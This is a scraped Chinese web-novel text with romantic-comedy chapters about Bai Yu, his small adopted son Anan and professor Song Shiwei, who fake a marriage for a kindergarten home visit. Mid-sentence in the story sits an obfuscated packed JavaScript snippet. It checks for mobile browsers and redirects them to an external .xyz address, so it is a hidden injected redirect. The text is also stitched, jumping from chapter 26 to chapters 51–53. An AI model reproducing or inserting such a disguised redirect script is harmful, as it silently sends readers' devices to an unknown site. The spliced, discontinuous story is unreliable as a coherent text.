“对了,宋先生喜欢孩子吗?”谢昀澈意有所指的问,“以后结婚了打算要几个孩子啊?” 这一路上,谢昀澈一直都在问一些奇怪的问题,宋时蔚不知道对方为什么要问这些,但不知道出于什么心理,他还是回答了,“我不打算要孩子,我本人不喜欢小孩。” 谢昀澈笑笑不说话。 房门忽然被拉开了一条小缝。 “嗯?”谢昀澈往回望。 一个小脑袋从里面探了出来。 白予安一只手里拎着湿淋淋的大狗狗,眼泪汪汪的瞪着宋时蔚。 他的狗狗被薛楠叔叔弄的脏兮兮的,明明说好了出来陪他玩的爸爸也不见了。 现在爹地还冒出来说不喜欢他。 受了一晚上委屈的小崽崽,终于忍不住了,彻底爆发出来了,大哭出声,“安安也不喜欢你!” “哇——” 26. 第 26 章 白予安的哭声,在走廊里回荡着。 谢昀澈沉默的站在原地,看着旁边的几个包间的门被陆陆续续的打开,里面的客人往外张望了一眼后,又重新合上。 其他客人 :啧啧,现在的家长和孩子啊! 谢昀澈:“……” 谢昀澈拍了两下白榆的后背,“白榆,醒醒。” 快醒来,处理一下你孩子和你孩子他爹的事。 白榆不舒服的皱了下眉,丝毫没有起来的意思。 谢昀澈头更疼了。 白予安哭了几声之后,就努力不哭了。 他也没有太太太太生气。 他只有一点点生气,就……比他爹地不喜欢他多一点点,安安小心眼的想道。 白予安眼睛红红的,鼓起小脸,像个气呼呼的河豚一样。 宋时蔚过了一会,才明白过来,眼前这个小朋友那句‘也不喜欢你’是对他说的。 宋时蔚疑惑的看向谢昀澈。 这是…… 谢昀澈移开视线,拍了拍白予安的后背,“安安,和……他打声招呼。” 叫叔叔也好,叫爹也好,先叫一声吧。 白予安双手换胸,气鼓鼓的,撇过头不去看宋时蔚。 哼! 谢昀澈看着眼前明显不配合的小孩,不知道该怎么办。 谢昀澈头疼的想着,白榆怎么偏偏这个时候睡过去了。 哭声没把白榆叫醒,倒是把好不容易安分下来的薛楠给吵醒了。 “谁啊。”薛楠酒劲还没彻底消去,从桌子上爬起来,扶着墙走了出去。 看见门口这张熟悉的面孔,薛楠浑身上下一抖,一下子由内而外的凉快了起来。 薛楠揉了揉眼睛。 人在。 薛楠又揉了揉眼睛。 人还在。 薛楠闭上眼睛,小声的自言自语,“我一定是喝多了,要不然怎么会出现幻觉呢。” “这一定是幻觉。”薛楠转过身准备往包间里面走。 宋时蔚没什么感情的叫了他一声,“薛楠。” 薛楠浑身上下抖的更厉害了,舌头像不听他使唤了一样,“老,老老老老板。” 完完完,完了! 难不成我老板发现我翘了工作,偷偷跑出来玩,特意过来抓我的! 不至于吧!他怎么知道我今天要和大师兄一起去厂子里的。 宋时蔚想起刚才的那声‘老男人’,轻挑了下眉。 怎么,在现在这些年轻人眼里他这个年龄已经很老了吗? 薛楠想回包间里缩着,又不敢动,大气不敢出一下的在站在旁边装鹌鹑。 这么久没见了,白予安心里其实还是(有一点点)想爹地了,哒哒的跑过去,拉了一下宋时蔚的衣摆。 白予安小脸红扑扑的,拉完之后,又装作没干过的转过头。 宋时蔚半蹲下来,仔细看着眼前的小孩子,问道:“你是那边那个大哥哥的弟弟吗?” 白予安鼓着小脸,扭开头,“哼!” 安安才不理你呢! 安安生气了! 宋时蔚轻笑出声,“为什么不喜欢叔叔啊,告诉叔叔好不好?” 白予安故意小嘴撅的老高,不高兴的嘀咕,“不好。我不要和你说话。” 宋时蔚看着眼前的小朋友,打趣道:“嘴巴撅的可以挂瓶子了哦。” 白予安立马就不噘嘴了,两只爪爪捧着自己的脸摸了摸。 真的吗? 会挂瓶子吗QAQ 宋时蔚见小孩心情好了,站起身来说道:“没事,我就先走了。” 临走前,宋时蔚还不忘嘱咐自己学生一声,“周一见,薛楠。” 薛楠吞咽了几次,“再见,教授。我会努力的。” 见爹地说自己要走,白予安下意识的抓住了对方的衣摆。 宋时蔚低下头 ,“怎么了吗?” 白予安抿着唇,肉乎乎的小脸苦恼的思考着。 不想爹地走。 可是他也很生气,不想和爹地说话。 要怎么办啊? 白予安为难的用力眨了眨眼。 爹爹,要是回来了,自己晚上就不能和爸爸一起睡了。 要,要不过两天,他再去找爹地好了。 到时候他也不生爹地的气了。 嗯。 白予安自顾自的点了下头,满意的想道。 我真是个聪明的宝宝(骄傲.jpd) 想通了之后,白予安心情美好的松开了手,热情的向宋时蔚挥了挥小手手。 拜拜!(正处于不能和爹地说话的时间) 宋时蔚也配合的和他挥了挥小手。 谢昀澈看了一眼白予安,见崽崽确实没什么反应,收回视线,礼貌的说道:“再见。” 直到目送着宋时蔚彻底走远,谢昀澈才转过身对白予安说,“你爸爸和薛楠叔叔喝多了,今天先不吃饭了,我们要回去了。” “喝多了?”这个词涉及到白予安的知识盲区了。 白予安眨巴眨巴眼睛,疑惑的问,“喝多了是什么啊?” 谢昀澈费力把白榆放到椅子上后,活动了一下他酸疼的臂膀。 谢昀澈去收拾他们的东西,费力的想着怎么给小朋友解释,“喝多了就是……爸爸不舒服,需要人照顾。” “哦。”白予安煞有其事的点了点头,认真的说道,“我会照顾爸爸的。” 白予安顿了顿,又有些不情愿的小声补充道:“还有薛楠叔叔。” 虽然他把我的狗狗弄脏了。 白予安拿小本本记仇。 * * * 翌日中午。 白榆是被手机的电话声给吵醒的。 醒来的时候,白榆觉得他的头像是要炸开了一样,他一只手搭在眼睛上,从枕头下面摸出手机来,“喂。” 声音发出来后,白榆自己都楞了一下。 他嗓子哑的,连他自己都差点没认出来。 电话那头沉默了几秒,“小榆,你……出去喝酒了吗?” 这声音让白榆瞬间清醒了不少,快速把手机拿了下来,看了眼屏幕上的号码。 他哥。 白榆扶着床,头疼的坐了起来。 白榆皱着眉,一只手支着脑袋,费力的回想着。 昨天晚上,他…… 叶林见白榆一直没有说话,又问了一遍,“小榆,你喝酒了吗?” 喝酒。 这个词像是突然触动了白榆的某块神经,他脸上的表情开始逐渐变的惊恐。 昨天晚上! “爸爸,你醒了。”白予安推开房门跑到床边,兴奋的给白榆分享自己的开心事,“爸爸,我昨天晚上见到爹地了。” 记忆的碎片开始在白榆脑海中滑过。 老男人。 老男人。 啪的一声,手机掉在了床上。 白榆浑身僵硬的坐在床上,绝望的闭了上了眼。 他现在离开这个星球还来得及吗? “小榆。”电话里声音把白榆拉回现实。 白榆:“……哥。” “嗯。”电话那头应了一声,继续问道,“你昨天喝酒了。” 白榆有些心虚,“喝了……一点点。” 另一边,苏城某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490808|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋大楼内。 叶林坐在办公桌前,蹙起眉,下意识的想叫白榆不要喝酒,又担心他说太多白榆会觉得自己干涉他的生活,最后只能留下一句,“少喝点酒。” 白榆在叶林面前大多数的时候都很听话,“嗯,好。” 叶林:“最近过的怎么样?” 白榆:“挺好。” 叶林:“钱够不够花,要不要哥哥再给你打一点?” 白榆:“不用了,够的。” 叶林:“记得好好吃饭?” 白榆:“好的。” 叶林:“自己在外面要照顾好自己。” 白榆:“好的。” 白榆熟练的回答着电话那头的问题。 从陆莫宁女士走的那天算起,到现在快三年了吧。白榆不合时宜的想到。 他和他哥的电话内容就像他们两个朴实无华到只有转账记录的聊天一样,永远问着几个相同的问题。 不过除了这些,倒也没别的可说的就是了。 白榆垂下眼帘,出神的看着床上白色的被褥。 白予安爬到床上去,听到电话里的声音,歪着小脑袋问白榆,“是伯伯吗?” 白榆心脏猛地跳快了一拍,快速的捂住了白予安的嘴。 叶林听见了白予安的声音。 时隔三年,电话那头少见的出现了一个不一样的问题,“你前段时间是不是领养了一个孩子?” 白榆松开了捂着白予安的手,懊恼的捂住了眼睛,“嗯。” “带孩子回家吗?”叶林顿了顿,补充道,“毕竟孩子也要见见家里的人?” 白榆一点都不意外,叶林会知道他收养了白予安的事。 虽然这么久没见过一面,但白榆知道,其实一直都有人给叶林汇报他的事,他哥也一直在暗中……各种照顾他。 白榆想起了一些他高中那时候的事。 班主任:“白榆,你哥哥一直都很关心你。每周都有给我和其他的老师打电话,问你的情况,你放假的时候,不要老待在学校了,有空就回去多陪陪他吧。” 室友:“榆哥,这个,你拿回去吧?上次你哥非要塞给我的,这么贵重,我也不好意思收,平时你就够照顾我的了。你哥每次来还都给我们带吃的,我已经够不好意思的了。” 白榆握着手机的手微微收紧。 他该答应的,这么多年了,有些事该让它过去了。 他要重新开始自己的生活了。 白榆咬了下舌尖,张开嘴,想要告诉叶林‘他过两天就回去’,声带却像丧失了功能一样,迟迟发不出声音。 白榆僵硬的维持着这个动作坐在床上。 半晌,白榆把头靠在床后的挡板上,将手臂搭在眼睛上,艰涩的说道:“抱歉,我最近……” 昨晚喝过酒,白榆的嗓子哑的不成样子,发出声音的时候格外艰难。 白榆话还没说完,白予安钻到了他怀里,伸手够走了手机,奶声奶气的喊道,“伯伯。” 白榆:“!!!” 白予安并不具备听见爸爸心声的功能,自顾自的说,“爸爸和安安过几天就去找伯伯玩。” 电话那头,叶林明显愣了一下,下意识的说,“好。” 说完叶林也反应过来了,赶在白榆拿到电话之前,飞快的挂了电话。 嘟的一声—— 白榆看着被挂断的电话,一口气差点没上来,抱着白予安的肩膀摇啊摇,“你怎么能这么随便的就答应了?” 白予安抱着自己被摇的晕乎乎的小脑袋,“为什么不能答应啊,爸爸你不是想见伯伯吗?” 白榆的动作一顿,抿着唇,没有说话。 50-60 第51章 第二天早上, 白榆是被闹铃吵醒的。 手机在耳边‘滴滴滴滴滴’的响不停。 白榆伸手去够,按掉后,死尸一样的又躺了几分钟, 最终还是努力爬起来了。 今天时周末,但老师上午就要来家访,他还要早起。 看了一晚上大学物理,白榆现在的精神很不好,眼下乌青, 刚睡醒,他的每一根白毛仿佛都有自己的想法, 乱糟糟的炸起来。 白榆头脑不清的穿拖鞋,往外走。卧室里拉着厚窗帘,推开卧室的房门白榆被外面的眼光刺到,眯起眼睛,闻到了烤面包的味道。 白榆顺着香味的方向望过去,在厨房发现了宋时蔚。 宋时蔚看起来早醒了,他没带眼镜, 上身只穿着一件黑色的紧身背心,结实的手臂露了出来,肩背上的肌肉明显,虽然套着衣服, 但肌肉已经透了出来。腰间系着条围裙,在用刀切着什么。可能是刚运动完,宋时蔚的呼吸还有些重。 好看。 胸。 白榆抬手,赏了自己脑袋一巴掌。 “醒了。”宋时蔚注意到白榆,放下切肉的刀。 “嗯。”刚才打太狠了,白榆捂着后脑勺, 有点疼。 宋时蔚勾了勾手指头,示意他过来。 白榆没完全睡醒,听话的过去。 宋时蔚洗手,用夹子把烤箱里的面包拿出来,塞给白榆,“先吃一点垫垫,然后去洗漱。” 白榆听话地张开嘴。 离得近了,白榆的视线更是忍不住往宋时蔚身上瞟。 白榆发现宋时蔚,屁股好翘。 白榆做贼一样把视线从宋时蔚身上移开,低头去啃面包。 “别挨太近了。”宋时蔚的掌心贴着白榆的头发,把他脑袋往后按,声音低沉,“我刚跑步回来,身上不好闻。” 宋时蔚疑惑,“你低头,在拱什么吗? “……没。”白榆反应过来自己在做什么,心率猛地增快,恨不得打死刚才的自己。 他两口啃完面包,往卫生间的方向跑,“我洗漱去了。” 吃了东西,白榆好多了,起码血糖正常,脑子清醒,不会和个流氓一样,往别人胸肌上贴。 卫生间的洗漱台上放着一对情侣牙杯,牙杯里是一对情侣牙刷,连毛巾都是情侣款的,阳光透过玻璃洒进来,挨在一起的牙杯上,黑色的兔子和白色的猫紧紧贴在一起。 白榆把额头前面碍事的碎头发捋到头顶扎成一个小揪揪,端起上面有白色小猫的牙杯,接水刷牙。 窗户外面,两只小胖鸟挨在一起,两双黑不溜秋的豆豆眼往里面盯着看。 “啾—” 白榆刷着牙,走到窗边,隔着玻璃用手指戳了戳两只小鸟。 小鸟一点也不怕人,隔着玻璃,对着白榆的手指也啄。 “啾啾—” 今天阳光正好,正是一个适合家访的好日子呢~~ * * * 莫尔幼儿园内。 学校是大小周工作制,轮流双休,今天大班的老师不放假。 陈老师和梅老师坐在办公室写周报。 办公室的门外响起了有规律的敲门声。 陈老师:“请进。” “早上好,陈老师,梅老师。”副校长今天穿的比昨天还要正式,拄着一根拐杖,踏着规整的步伐推门进来。 “早上好,斯先生。”梅老师笑着打招呼。 副校长点头。 副校长姓斯,目前五十有三。 传言之所以叫传言,就是它不保真,起码斯副校长并不是极端恐同人士。更没有做过因为过学生家长是男同,就力排众议,不让学生入学的事。 他对同性恋的态度——接受着接受着也就只能接受了。 副校长:“家访的事准备好了吗?” 陈老师稳重地回答,“嗯,已经提前和家长发邮件确认过时间了。安安的一些手工和成绩单也整理好了。学校这边,家访记录单也已经填了,线上也记录过了。” “不,我说的不是这些。”副校长的眼神锐利,握着拐杖的手一紧,“我是说宋时蔚的事。这次家访,我们势必要发现这个男人的真面目。不能让他成为破坏学生家庭的石子。” 哦,传言也有一部分是真的。 比如年级长是个老古板。 年级长面色不虞,“哼,一把年纪了。和个小那么多的小男生闪婚。除了好色,贪图别人的年轻貌美,还能是为了什么。” “这种人能有什么道德良知。不能让他破坏学生家庭,在家边缘化孩子。我们必须和白先生谈谈这个问题。” 小梅老师不这么觉得,在旁边为宋时蔚开脱,“可是我们上次见过,宋先生自己长的就很好,看起来也不显年龄。我上次见,觉得宋先生人很好,不是您想象中的样子。” “相貌好,就不贪图美色了?就见了一面就觉得他是个好人。”年级长不为所动,“哼,心思深沉。” 梅老师继续,“宋先生很有风度,礼貌的。上次他来接安安,还专门向我们老师道谢了。” 年级长:“哼,巧言令色。” 梅老师:“而且,而且他看起来和安安关系也很好。安安一看到他,就跑过去了。和安安很亲的。” “哼,矫言伪行。”年级长严肃的说道,“一看就不是个好人。” 梅老师震惊了,她都快被年级长的固执说服了,“啊,是吗?” 年级长:“当然。” 陈老师坐在旁边继续去写她的工作报告。 她从来不妄图去说服固执的领导。 共事几年,陈老师算是发现了,副校长古不古板不好说,但是这人固执一定是真的。 固执的要死! 梅老师看了眼时间,问道,“我们大概什么时候过去?” “时间还早。”年级长沉声说道,他打量了一番自己衣服,确认没有什么不妥,“定的花还没到。连点伴手礼都不带,简直太没礼貌了。” 梅老师:“哦,好,好的。” 还是个老古董。 陈老师落下工作报告的最后一笔,在心底吐槽。 * * * 白榆刷完牙,用手捧了把凉水,浇在脸上,用力地揉了揉脸。 色即是空,空即是色,心无挂碍,自在…… 白榆在心里默念。 屁用没有。 白榆改成在脑子里回想昨晚看的大学物理。 白榆洗漱完,从卫生间出来的时候,宋时蔚正在煎牛肉。宋时蔚动作看起来很熟练,把握着火候,香味从里面溢了出来,看上去可口诱人。 这是白榆第一次见宋时蔚做饭的样子。 他站在原地多看了几眼。 宋时蔚把火关小,“发什么呆呢?小白同学。” “没发呆。”白榆被叫回神,没什么底气的说道。 他把袖子捋到膝盖,走到厨房,“别叫我小白同学。” “嗯嗯。”宋时蔚笑了一声,“把那边洗好的菜切一下,一会要拌。” “嗯。”白榆从刀架上拿了把切菜用的长刀。 刀具被养护的很好,白榆拿在手上,刀面上清楚的印出他的样子。 白榆放松握着刀的手,像是转笔一样,自己给自己表演了一段转刀。 白榆把刀拿稳后,头顶被人不轻不重的拍了一下。 摸头是件很冒昧的事,尤其是放在某些刚过中二期一身反骨的小男生身上。 白榆脸瞬间就黑了。 “别玩刀。”宋时蔚的声音在白榆身后落下。 “……哦。”白榆的气焰又迅速下来了。 行吧。 我理亏。 听他的。 白榆板着张脸,低头认真切菜。 他的视线忍不住往宋时蔚身上飘。 宋时蔚居然会做饭。 他还以为像宋时蔚这种大牛,都是‘不食人间烟火’的呢。 白榆诽腹着,一时没注意,刀竖着的朝着他手指切了过去。 血顺着被切开的口子止不住的往外冒。 白榆的动作一顿,赶紧把流着血的手从菜上移开,防止这个菜一会还要再洗一遍。 “小心。”宋时蔚从白榆的后背,伸出手抓住白榆的手腕,牵了过去,拇指和食指捏着白榆出血的手指两侧。 白榆看着面前仿佛小山一样笼罩下来的高大男人,愣了愣,“抱歉。” 确认不怎么流血了,宋时蔚从客厅的医药箱里拿了碘伏棉签过来,抓着白榆的手,用棉签消毒。 宋时蔚把用完的棉签扔掉,开玩笑的说道:“怎么,在我不知道的时候,你把我手割破了吗?” 白榆一时没理解,“没。” 宋时蔚:“那道什么歉。” 宋时蔚趁着白榆没注意,顺手摸了把白榆的白毛。 白榆没发现。 宋时蔚的手掌落在白榆拿着刀的另一只手上,抽走白榆手里紧握的刀,说道:“去坐两分钟,马上就吃饭了。” 白榆:“……哦。” 第52章 厨房的门是透明的, 白榆坐在餐桌椅子上那,能清楚的看见厨房里面的样子。 确定宋时蔚暂时没有转头的意愿后,白榆低头又看了一眼自己的手。 怎么在发烫? 烫个什么劲?? 感染了??? “爸爸, 爹地。”白予安的房间门被推开,一只睡得迷迷糊糊的小崽崽从里面探头出来。 白予安一脸没睡好的样子,头发和刚睡醒的白榆一样翘翘的,左手还抱着一只小兔子玩偶,走路飘呼呼的, 走着走着差点撞到墙上。 白予安揉了揉眼睛,肉肉呼呼的脸颊贴在白榆身上, 香香软软的一团含糊不清的叫着,“爸爸。” 白予安在绝大多数时候的,都是个精力充沛到让人头疼的小崽崽,这还是白榆第一次见到白予安这么困,小崽崽困的眼睛都快睁不开了。 白榆有些奇怪的问道:“没睡好吗?怎么这么没精神?” 因为担心老师来告状,昨天晚上半夜才睡过去的某只崽:“!” “没有。”白予安一激灵,用力把眼睛睁的圆溜溜的, 不抱兔子玩偶的那只手用力挥了挥,证明自己,“安安很有精神。” 宋时蔚端着准备好的早餐从厨房出来。 心虚的小崽崽赶快转移视线,“爹地。” “安安。”宋时蔚把早餐放桌上, 说道:“去洗漱吧,要吃早饭了。” “好哦。”小崽崽一溜烟溜走了。 宋时蔚把黑色的围裙解开,随手搭在椅子上,“我去冲个澡,换身衣服。饿了,你们就先吃。” “嗯, 好。”白榆随口应了一声,但还是等白予安和宋时蔚洗漱完回来,一起坐在桌子上吃了这顿早餐。 吃完饭,白予安从宋时蔚的书房里摸了本书,坐在客厅的小凳子上看。宋时蔚则搬了张椅子在阳台边的桌子上,抽空在回发过来的邮件。 白榆窝在沙发上玩斗地主,在短短几把输掉二十七万豆,一举实现从小地主阶级,到包身工的阶级跨越后,面无表情的关了游戏,打开了背单词的软件。 只有知识永远不会背叛人,白榆心如刀割的想道。 客厅的人各干各的,气氛却莫名的和谐。 “叮咚——” “叮咚——” 连接院子大门的门铃响了起来。 门铃声像一道惊雷,划破了室内安宁的氛围。 啪的一声,安安手里捧着的书掉了,睁大眼睛朝门的方向望去。 宋时蔚把电脑收好,准备去开门。 白榆也站起来了,跟着他过去。 “别紧张。”宋时蔚的声音一如往常的沉稳。 白榆想说他不紧张,又觉得这话太假了,他自己都不信,语气不太好的反问,“你不紧张?” “有一些。”宋时蔚笑了一下,“我怕安安的老师不喜欢我这个‘继父’。” 宋时蔚摘下眼睛,捏了捏鼻梁,重新带上后,才按下门铃的接听键。 大门外的监控画面,实时出现在门前的屏幕上。 宋时蔚:“您好。” “您好。”说话的是陈老师,左手还抱着一束花,右手还提着一个盒子,“是安安爸爸吗?我门是来家访的老师。” 宋时蔚:“是。院子的门已经开了,请进。” 外面的院子不大,幼儿园来家访的老师很快就到房子门口,白榆给他们开门。 “新婚快乐。”陈老师把手里粉色的百合花束塞到白榆怀里,开朗地说道,“祝安安的两位爸爸百年好和。” 白榆略带僵硬地说道;“谢谢。” 旁边的副校长蹙起眉,最后还是礼节性的跟着祝福了一番,“二位新婚快乐。” 宋时蔚脸上挂着笑,“谢谢。” 白榆也努力在笑。 为了今天的家访,白榆和宋时蔚的衣服是专门挑的,正式里还不忘带着居家的氛围,手上还刻意的带了同系列的表,来彰显关系。 一个谎言的诞生往往需要无数的谎言去维系,成年人的世界总是充满着虚假。不过没关系,小朋友的世界也没好到哪去^▽^ 白予安小偷小摸的跟了过来,躲在宋时蔚身后,悄悄观察着。 盯— 来了好多老师。 是要一起告安安状吗。 小崽崽汗流浃背。 梅老师发现了安安,俯下身笑盈盈的说道,“啊,安安,见到老师惊喜吗?” 忽然被发现的小崽崽被吓的往后一仰,“惊,惊吓。” 梅老师一懵,“啊???” 宋时蔚在前面带路,引着幼儿园的几位老师到沙发坐下。 他去厨房泡了红茶,端着一个托盘过来,问道;“要吃点点心吗,我自己烤的饼干,尝尝味道怎么样。” “啊,谢谢。”陈老师的反应和白榆早上一样,完全没想到宋时蔚居然还会烤饼干。 “对了。”陈老师把一直提着的盒子放在桌上打开,里面是一颗颗摆放整齐的巧克力,“带了一些巧克力,不介意的话一起吃吧。” 说完,陈老师专门补充道:“这个是斯先生专门带过来的。” 到门口了还专门让我拿着进来的,陈老师在心里说道。 宋时蔚:“您太客气了。” 白予安的眼睛不自觉的黏在了巧克力上。 “安安这个不能吃哦。”陈老师指着巧克力,温声提醒道,“这个是酒心巧克力,而且度数很高。小孩子不可以喝酒的。” “嗯。”白予安没听太懂,但白予安点点头,表示明白了。 几人寒暄了几句,很快就进入了正题。 “这是安安……”陈老师像想起什么,话音一顿,把手伸到包里。 从陈老师他们进来开始就一直没有说话的小崽崽瞬间警惕了起来,扭头去看陈老师,动作幅度很大的吸了一口气。 如果安安是一只刚出生的小鸟,此时他身上的羽毛已经全部警惕地蓬起来了,眼睛一眨不眨的盯着陈老师。 “……的成长轨迹报告册。”陈老师从包里拿出一个画风可爱的册子,打开给宋时蔚和白榆看。 “安安刚转学过来,手册上记的东西暂时比较少,后面就会多起来了。”陈老师解释了一句,继续说道,“这个是开学那天大家一起拍的合照,这个是安安在学校写的……” 发现被拿出来的东西,不是安安上课玩的五子棋,被画的到处都是涂鸦的衣服等等等等等后,白予安大喘了一口气,蓬起来的羽毛一点点小心的收了回去。 “安安……”梅老师也想起了正事,准备开始他们的家访流程,把手伸到了包里。 还没彻底松气的小崽崽又紧绷了起来,羽毛炸了起来,迅速转过小脑袋去看梅老师。 “……的手工作业。”梅老师从包里掏出来一个奇形怪状的…………纸壳垃圾。 同样因为老师来而紧绷着的白榆,观察了会陈老师手上拿的纸壳后,犹豫说道:“这是……飞天大蜥蜴?” 绷得紧紧的小崽崽,眨了眨眼,扭过头看着爸爸,坚持地说道:“这是老鹰。” 场面安静了一瞬。 面对家长的沉默,梅老师干笑几声,努力拿出自己的职业素养,组织着语言夸道:“安安的手工和画画,都非常的有……艺术气息呢。” 发现老师暂时没有告状,白予安吐出一口气,小手拍了拍胸口。 他悄悄瞄了一眼爸爸和爹地,继续暗中观察着。 安安,安安不能这么被动。 安安,必须要做点什么。 白予安警戒地眯起眼睛,小手握成拳头,下定决心。 启动安安的plan B(注:昨天晚上才想的) 所谓的plan B,是指通过昨天一晚上的深思熟虑,白予安得到的不让老师告状的方法。那就是……赶在老师给爸爸告状之前,打断他们,转移老师和爸爸的注意力。 白予安圆溜溜的眼睛在老师和爸爸之间来回打转,小手紧握,紧张筹备着。 白予安的这个样子,落在副校长的眼里,自动解读成了——白予安在家里时刻在看继父的脸色,活的小心翼翼的。 进门后没怎么说过话,但一直在暗中观察的副校长把手中的茶杯放回桌上,用力地皱眉。 副校长的这个样子,落在白榆的眼里,自动解读成了——副校长发现了他和宋时蔚不对劲,他们没结婚的事要暴露了。 同样不怎么说话,但从老师进来就一直在暗中观察的白榆心里一沉,拿起桌上的茶杯,借喝茶的动作掩住表情。 副校长:必须要做点什么,不能让孩子的继父,在家里虐待孩子。 白榆:必须要做点什么,不能让幼儿园的人发现我和宋时蔚是假结婚。 不能让现在这个场面继续下去了。 第53章 “安安在幼儿园里和很多小朋友的关系都很好, 他……”陈老师积极地和家长沟通着,试图通过这次家访搭建起家校的桥梁,让父母感受到学校对孩子的关心和重视。 原本计划上应该是这样的。 白予安:“安安, 安安来倒茶!” 副校长:“有些事,我想问一下宋先生。” 白榆:“安安,我们换下位置。” 几乎同时被三个人打断的陈老师:“???” 白予安蹭的一下从沙发上跳起来,同手同脚地要去拿茶壶,“安安来倒茶。” “我来。”宋时蔚把手按在茶壶把手柄上, 对白予安解释道,“小心拿不动。撒到身上了。 ” 宋时蔚感到有什么温热的东西贴了过来, 他转过头,一双琥珀色的眼睛很近的对着他眨了一下。 宋时蔚动作一顿。 趁着白予安站起来,白榆把坐的位置换了。 原本的座位。 宋时蔚 白予安 白榆。 现在的座位。 宋时蔚白榆 白予安 白榆贴着宋时蔚,就差坐到宋时蔚大腿上去了。 白榆没谈过恋爱,但他见别人谈过。 作为一名混日子的大学生,白榆上课常年坐教室最后一排,他前面一排也常年坐着一对混日子的大学生情侣。 每次上课的时候, 那个男生的手就盖在女生的手上面,时不时的还摸来摸去。 第一次见,白榆以为那个男的手上有病 第二次见,白榆以为那个女的手上有病。 直到第三次见, 在唐豫南告知下,知道这两个人是情侣后,白榆确定了。 这两个人有病。 现在他也要干一些有病的事。 白榆手指僵硬,把手掌盖在宋时蔚的手上,眼睛却是直的,盯着前面老师的反应。 宋时蔚的手很大, 骨节的地方尤其突出,指侧有明显的茧子。白榆把手放上去,和他之前见的男的握着女朋友的手不太一样,看起来反倒像宋时蔚在抓着他。 白榆发挥了两下,觉得演的还不够,又去捏宋时蔚的指腹。 宋时蔚侧目去看了眼白榆,他拇指上的茧子蹭过白榆的手背,捏住白榆的手。不知道怎么用的力,白榆的手一下就被抓的不能动了。 “别玩。”宋时蔚的声音很低,警告似的说了一声。 白榆被捏的有点疼。 宋时蔚抓了几息,把手松开,对副校长问道:“您刚有什么要问的吗?” 副校长锐利的视线扫过宋时蔚和白榆刚交叠在一起的手,心中给宋时蔚下定论。 好色之徒。 我果然没有看错。 副校长眉头皱地都快能夹死蚊子了,“宋先生喜欢小孩吗?” “谈不上喜欢。当然也远不到讨厌的程度。不过我很喜欢安安。” 宋时蔚动作自然地在白榆的茶杯里放了两块方糖。 白予安脸颊发红,大大的眼睛看着宋时蔚说道:“安安也喜欢爹地。” 可惜这段话对副校长的成效不大,并没有打动副校长,“两位的感情看起来真好。” 话是这样,声音却是冰冷的。 白榆坐在一旁,理所当然的认为副校长是在反讽。 不会真的发现了,我和宋时蔚是假结婚的事了吧。 怎么发现的。 不,不对,发现不了才奇怪。 我和宋时蔚怎么看都不像情侣吧。 真情侣根本不是我和宋时蔚这个样子。 白榆的心脏狂跳。 人一紧张就喜欢干点别的事分散注意力,白榆下意识拿了几块桌子上的巧克力,往嘴里塞。 好辣。 白榆后知后觉的被酒味呛到,端起茶,往嘴里灌。 宋时蔚拿起纸巾,递给白榆,“吃不惯吗?” “没有。”白榆放下杯子,硬邦邦的说道。 白榆硬着头皮又吃了几块。 朗姆酒的味道冲入鼻腔,白榆觉得他整个食道都是辣的,他怕宋时蔚说错话,直白地道:“我们感情非常好。我喜欢他。” 副校长面色不变,心底给白榆贴上大大大的恋爱脑的标签。 他是来拆散这个家的。 副校长果断地说道:“小白先生你和宋先生,年龄相差那么大。在一起生活适应吗?家里人同意吗?” 白榆面部发热,他有点晕,但白榆觉得他现在很放松,脑子转的飞快,坚决地说,“这些事都能解决。爱能克服一切。” 这句话说的斩钉截铁,义正言辞的。 副校长被白榆的恋爱脑发言打败了,眼睛睁大说不出话来了。 梅老师看着紧挨在一起的两个人,脸有些红,“安安的两个爸爸好恩爱,好般配。” “是啊是啊。”陈老师认同的在旁边符合。 也觉得两个人很合适。 副校长又遭到背刺。 宋时蔚觉得不对,拦住要去再拿巧克力的白榆,“你有点醉了。” “我没醉。”白榆的声音听起来和平时没什么区别,态度冷静,“人吃巧克力怎么可能会醉。” “你真傻。”白榆语调平平,心底暗爽。 他说宋时蔚傻了。 宋时蔚确定了,这小孩吃巧克力把自己吃醉了。 酒量不好的人不少,但这样一点酒都沾不了的‘校霸’还挺少见。 宋时蔚拉住白榆去拿巧克力的手,歉意地对幼儿园的人说道:“抱歉,他有点醉了。今天不能继续招待各位了。” 白榆靠在沙发上,碎头发有些扎眼睛,不舒服的皱着眉,坚持说道:“我没醉。” 陈老师看不出来白榆醉没醉,不过这种情况她们也不好继续留下来,主动说道:“那我们先走了,安安昨天……” 在看爸爸和爹地的小崽崽,捕捉到关键词,扭头看着陈老师,瞬间警惕起来,“安安,安安,安安要倒茶。” 白予安的小手快速抓住茶壶的手柄,匆忙地说道:“安安来倒茶。” 陈老师:“?” 白予安费力举着茶壶,往前走了两步,脚一滑,往前倾,茶壶直接摔了下去,“啊——” 茶壶落在地上,发出尖锐的声响。 白榆半闭地眼皮掀开,顶着眩晕感快速站起来,“白予安。” 副校长踉跄着先一步地冲过去,把差点磕到桌子上的小崽崽夹起来。确保安全了之后,才把白予安重新平稳的放回地上。 白予安也意识到自己闯祸了,无措地伸着小手,“对,对不起。安安马上就收拾。” 宋时蔚没去管地上打碎的茶壶,半蹲下来,拉着白予安的手在检查。 没划伤。 宋时蔚温声问道:“有哪里疼吗?” 白予安用力摇脑袋,“不疼。” 宋时蔚没在这件事上苛责白予安,“没摔倒就好。” 白予安转过身,注意到副校长裤脚蹦到茶水了,小心地抬头瞄了一眼副校长的脸色,又低下头,抓着衣摆,认真的说道:“对不起。谢谢您。” 和幼儿园里大部分的小朋友不太一样,白予安不害怕斯副校长。 但是,安安现在怕告状。 而且,安安做错事了。 白予安不安地绞手指,思考着解决办法。 副校长长着一张严肃的脸,低头看了白予安一眼没有说话。 